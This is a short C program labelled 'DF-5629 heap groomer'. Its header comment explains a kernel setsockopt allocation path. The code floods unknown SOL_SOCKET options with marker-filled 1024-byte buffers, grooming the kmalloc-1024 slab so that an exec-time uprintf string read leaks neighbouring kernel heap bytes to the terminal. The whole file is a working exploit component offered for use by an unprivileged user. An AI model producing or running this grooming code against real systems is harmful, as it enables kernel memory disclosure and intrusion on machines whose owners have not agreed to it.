/*
 * DF-5629 heap groomer — run as the unprivileged user.
 *
 * kern_setsockopt() (sys/kern/uipc_syscalls.c:1257) kmalloc()s a M_TEMP
 * buffer of optval size and copyin()s fully user-controlled bytes for ANY
 * option with valsize > SOMAXOPT_SIZE, then frees it at :1266 after the
 * (unknown) option is rejected.  Flooding this seeds the kmalloc-1024
 * slab neighborhood with non-NUL marker bytes, so the exec-time uprintf
 * %s walk past the interpreter chunk finds non-NUL neighbors and leaks
 * them to the tty.
 */
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SZ 1024

int
main(int argc, char **argv)
{
	char buf[SZ];
	int i, iters = (argc > 1) ? atoi(argv[1]) : 400;
	const char *m = "GROOMMARKER!";
	size_t ml = strlen(m);
	int s, one = 1;

	for (i = 0; i < SZ; i += ml)
		memcpy(buf + i, m, ml < (size_t)(SZ - i) ? ml : (SZ - i));

	for (i = 0; i < iters; i++) {
		s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0) { perror("socket"); return 1; }
		/* unknown SOL_SOCKET option: copyin happens, then ENOPROTOOPT */
		setsockopt(s, SOL_SOCKET, 0x7a7a, buf, SZ);
		close(s);
	}
	return 0;
}
